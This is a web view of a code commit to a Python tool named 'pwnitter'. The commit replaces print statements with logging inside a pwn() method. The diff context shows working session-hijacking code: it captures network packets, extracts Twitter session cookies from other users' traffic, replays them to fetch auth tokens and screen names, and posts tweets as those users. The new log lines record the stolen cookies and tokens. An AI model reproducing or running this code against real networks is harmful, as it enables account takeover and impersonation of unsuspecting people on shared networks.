projects
/
pwnitter
/ commitdiff
commit
grep
author
committer
pickaxe
?
search:
re
summary
|
shortlog
|
log
|
commit
| commitdiff |
tree
raw
|
patch
|
inline
| side by side (parent:
591c6f9
)
Introduced logging to pwn() by replacing all prints
author
Tobias Mueller
<tobiasmue@gnome.org>
Thu, 13 Jan 2011 16:45:34 +0000
(17:45 +0100)
committer
Tobias Mueller
<tobiasmue@gnome.org>
Thu, 13 Jan 2011 16:45:34 +0000
(17:45 +0100)
pwnitter.py
patch
|
blob
|
history
diff --git
a/pwnitter.py
b/pwnitter.py
index
4ef93eb
..
551a2f7
100755
(executable)
--- a/
pwnitter.py
+++ b/
pwnitter.py
@@
-101,11
+101,13
@@
class Pwnitter(dbus.service.Object):
def pwn(self, device, tweeted_callback=None):
def pwn(self, device, tweeted_callback=None):
+ log = logging.getLogger('pwn')
+
processed = {}
if self.is_running: # This is probably not needed, but I feel better checking it more than too less
ts, raw = self.cap.next()
eth = dpkt.ethernet.Ethernet(raw)
processed = {}
if self.is_running: # This is probably not needed, but I feel better checking it more than too less
ts, raw = self.cap.next()
eth = dpkt.ethernet.Ethernet(raw)
- #print 'got a packet'
+ log.debug('got a packet')
# Depending on platform, we can either get fully formed packets or unclassified radio data
if isinstance(eth.data, str):
data = eth.data
# Depending on platform, we can either get fully formed packets or unclassified radio data
if isinstance(eth.data, str):
data = eth.data
@@
-114,12
+116,14
@@
class Pwnitter(dbus.service.Object):
hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
if hostMatches:
hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
if hostMatches:
- print 'Host matched'
+ log.debug('Host matched')
host = hostMatches.group(1)
cookieMatches = re.search('Cookie: ([^\n]+)', data)
host = hostMatches.group(1)
cookieMatches = re.search('Cookie: ([^\n]+)', data)
+ log.debug('CookieMatches? %r', cookieMatches)
if cookieMatches:
cookie = cookieMatches.group(1)
if cookieMatches:
cookie = cookieMatches.group(1)
+ log.debug('yummie Cookie %r', cookie)
headers = {
"User-Agent": "Mozilla/5.0",
headers = {
"User-Agent": "Mozilla/5.0",
@@
-130,7
+134,7
@@
class Pwnitter(dbus.service.Object):
try:
conn.request("GET", "/", None, headers)
except socket.error, e:
try:
conn.request("GET", "/", None, headers)
except socket.error, e:
- print e
+ log.error(e)
else:
response = conn.getresponse()
page = response.read()
else:
response = conn.getresponse()
page = response.read()
@@
-144,6
+148,7
@@
class Pwnitter(dbus.service.Object):
if authMatches:
authToken = authMatches.group(1)
if authMatches:
authToken = authMatches.group(1)
+ log.info('Found auth token %r', authToken)
nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
if not nameMatches:
nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
if not nameMatches:
@@
-152,6
+157,7
@@
class Pwnitter(dbus.service.Object):
name = ''
if nameMatches:
name = nameMatches.group(1)
name = ''
if nameMatches:
name = nameMatches.group(1)
+ log.info('Found name %r', name)
# We don't want to repeatedly spam people
# We don't want to repeatedly spam people
@@
-168,7
+174,7
@@
class Pwnitter(dbus.service.Object):
}
}
- print 'Issueing connection'
+ log.debug('Issueing connection')
if host == 'mobile.twitter.com':
params = urllib.urlencode({
if host == 'mobile.twitter.com':
params = urllib.urlencode({
@@
-191,7
+197,7
@@
class Pwnitter(dbus.service.Object):
response = conn.getresponse()
response = conn.getresponse()
- print 'Got response: %s' % response.status
+ log.debug('Got response: %s', response.status)
if response.status == 200 or response.status == 302 or response.status == 403:
if name:
if response.status == 200 or response.status == 302 or response.status == 403:
if name:
@@
-199,18
+205,17
@@
class Pwnitter(dbus.service.Object):
# 403 is a dupe tweet
if response.status != 403:
# 403 is a dupe tweet
if response.status != 403:
- print "Successfully tweeted as %s" % name
- print 'calling %s' % tweeted_callback
+ log.info("Successfully tweeted as %s", name)
if tweeted_callback:
tweeted_callback(name)
else:
if tweeted_callback:
tweeted_callback(name)
else:
- print 'Already tweeted as %s' % name
+ log.info('Already tweeted as %s', name)
else:
else:
- print "FAILED to tweet as %s, debug follows:" % name
- print response.status, response.reason
- print response.read() + "\n"
+ log.error("FAILED to tweet as %s, debug follows:", name)
+ log.error("%s, %s", response.status, response.reason)
+ log.error("%s", response.read())
return self.is_running # Execute next time, we're idle
# FIXME: Ideally, check whether Pcap has got data for us
return self.is_running # Execute next time, we're idle
# FIXME: Ideally, check whether Pcap has got data for us